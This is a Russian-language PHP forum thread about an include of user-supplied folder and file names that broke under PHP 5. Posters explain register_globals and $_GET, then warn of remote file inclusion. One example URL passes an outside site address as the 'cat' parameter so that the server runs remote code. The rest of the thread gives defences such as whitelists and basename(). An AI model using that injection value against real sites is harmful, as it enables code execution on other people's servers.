Include в php5

Блин сча зашел на один сайт перестала работать конструкция

include"$cat/$page"; , т.е. при загрузке урла mod.php?cat=folder&page=test.htm поидее в файл mod.php должен вставляться файл folder/test.htm

или в php5 другой синтаксис?

нид хелп, с меня рейтинг

http://www.php.net/manual/ru/function.include.php

может дело не в инклуде? Обрати внимание как ты вычитываешь параметры:
?cat=folder&page=test.htm
Может у тебя раньше был включен РегистрГлобалс, а сейчас он выключен?

сенкс sAx , ты прав был, оценил по максимуму

ну вот и решилось

только не надо включать РегистрГлобалс -- это потенциальная уязвимость. Лучше поставить перед твоим инклудом:

Код:

$cat = $_GET['cat']; $page = $_GET['page']; или $cat = $_REQUEST['cat']; $page = $_REQUEST['page'];

Skat писал:

Блин сча зашел на один сайт перестала работать конструкция include"$cat/$page"; , т.е. при загрузке урла mod.php?cat=folder&page=test.htm поидее в файл mod.php должен вставляться файл folder/test.htm или в php5 другой синтаксис? нид хелп, с меня рейтинг

mod.php?cat=http://www.my-site.com&page=my-code.txt

заставит выполнить твою страницу любой код

Skat писал:

конструкция include"$cat/$page"; урл mod.php?cat=folder&page=test.htm поидее в файл mod.php должен вставляться файл folder/test.htm

на самом деле - приведенный вами код еще большая уязвимость системы чем RegisterGlobals... если трудно догадаться почему - давай урл домена а здешние умельцы влет покажут ) да так что домен свой потом не узнаешь ))

Оффтопик: ну вот опять не успел, пока покурил - так уже все карты и открыли )

Stek писал:

mod.php?cat=http://www.my-site.com&page=my-code.txt заставит выполнить твою страницу любой код

Блин... а слона-то я и не подметил
Вот что значит голова занята другими вопросами...

так какой тогда лучше вариант оставить, что предложмл sAx или что раньше был?

sAx писал:

Блин... а слона-то я и не подметил Вот что значит голова занята другими вопросами...

иногда полезнее заниматься другими вопросами ;)

Skat писал:

так какой тогда лучше вариант оставить, что предложмл sAx или что раньше был?

то что предложил sAx + обработка входных параметров на правильность (хотябы просто натрави по регулярному выражению на каждый из параметров). а вообще поменять механизму сего опасного инклюда...

кстати вообще не рекомедуется передавать всякие имена файлов и каталогов через входящие параметры. если набор файлов ограничен, то лучше каждому присвоить номер, и делать
switch($file)
{
case 1: $file = 'file.php'; break;
...
}

либо создать массив всех возможных имен файлов:
$files = array('file.php','file2.php');
if(!in_array($file,$files)) exit('Hacker!');

ну а если уж по ситуации нельзя ни то ни другое - то обязательно надо регулярками. хотя я и сам проверяю такие вещи регулярками, но в офф мане php рекомендуется такие вещи прогонять через basename(). т.е. $file = basename(@$_REQUEST['file']); Это не позволить в имени файла передать какой либо путь, будь то урл, любое количество ../, а также абсолютные пути.

Есть такие настройки у пхп, как запрещение удаленных инклюдов, так что как вариант отключить их (что большинство хостеров делают, особенно на вируалах).

Wahoven писал:

Есть такие настройки у пхп, как запрещение удаленных инклюдов, так что как вариант отключить их (что большинство хостеров делают, особенно на вируалах).

но даже в этом случае ничто не мешает при наличии upload-а запустить свой скрипт с тогоже хоста

Да, нужно учитывать все ньюансы, но ведь инфа лишней не бывает.

Wahoven писал:

Есть такие настройки у пхп, как запрещение удаленных инклюдов

а точное название опции не знаешь?

Нет, около полугода назад столкнулся с такими ошибками при инклюде external файлов, как-то решал не трогая конфиги.

Skat писал:

а точное название опции не знаешь?

allow_url_fopen

xreload писал:

allow_url_fopen

угу и товарища могут перестать работать своиже скрипты ))

могу и ошибаться, но скорее нужно смотреть группу параметров
safe_mode_*

можно еще извратиться и делать проверку через хеш.

т.е. ссылки будут вида cat=..&file=..&hash=..

проверять таким образом
if($hash!=md5($cat.$file.$secret_word))
exit;
else include..

соответственно при выводе ссылок требуется считать их хеш.